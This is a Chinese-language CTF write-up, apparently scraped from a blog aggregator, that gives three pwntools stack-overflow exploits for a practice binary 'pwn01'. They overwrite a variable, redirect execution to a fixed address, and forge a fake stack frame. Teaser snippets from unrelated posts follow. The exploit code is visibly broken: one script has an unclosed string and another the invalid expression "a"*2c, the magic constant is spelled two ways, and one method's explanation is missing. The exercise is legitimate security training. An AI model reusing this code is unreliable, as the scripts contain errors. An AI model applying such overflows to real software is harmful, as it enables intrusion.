2019 7 21 pwn01 棧溢位的3種思路

2021-09-25 19:19:06 字數 1073 閱讀 7314

這是一道簡單的棧溢位的問題。下面簡紹3種解法。

①我們在ida中檢視s和a之間的距離,直接在利用gets函式的不安全性進行棧溢位覆蓋a的值。這裡要注意的是要加8而不是4,也就是變數所在的位置也要算。

exp為:

from pwn import *

sh=process("./pwn01)

payload="a"*(0x2c+8)+p32(0xcaffbabe)

sh.sendline(payload)

sh.interactive()

from pwn import *

sh=process("./pwn01")

payload="a"*2c+p32(0x80485e0)

sh.sendline(payload)

sh.interactive()

③想讓程式執行滿足if語句中的指令,則需要滿足一定的條件。也就是當func函式的引數滿足一定的條件。那麼我們可以構造乙個偽棧幀,讓程式再執行一次func,並將其引數設定為滿足條件的數。

exp:

from pwn import *

sh=process("./pwn01")

payload="a"*(0x28)+"a"*4+p32(0x8048590)+"a"*4+p32(0xcafebabe)

sh.sendline(payload)

sh.interactive()

01 棧與佇列

目錄補充題目 參考資料 第一章 棧與佇列 1 1 設計getmin功能的棧 思路 儲存每次棧更新時的最小值,可以通過定義另外乙個棧實現。1 2 由兩個棧組成的佇列 思路 佇列是先進先出,棧是先進後出。入佇列的時候將元素放入棧1,出佇列時,如果棧2為空,將棧1的元素全部彈出壓入棧2,這樣棧2的彈出的元...

全棧專案 01 egg nodeJS

1.開發環境 node v14.16.0 npm 6.14.11 幾行 就能初始化乙個egg專案 mkdir egg example cd egg example npm init egg type npm i 3.egg 專案預覽 用於配置 url 路由規則 比如上述初始化 中的get請求,npm...

pwn之棧沖區溢位漏洞X64與X86

x86與x64函式呼叫的區別 x86x86中函式傳參是再棧中直接存放,需要時的時候出棧即可。而再x64程式中。函式的引數在call的時候會進入rdi rsi rdx rcx r8 r9 當傳輸引數超過6個的時候就會壓入棧中。如下示意圖 read stdin,buf,0xa call 壓入 main ...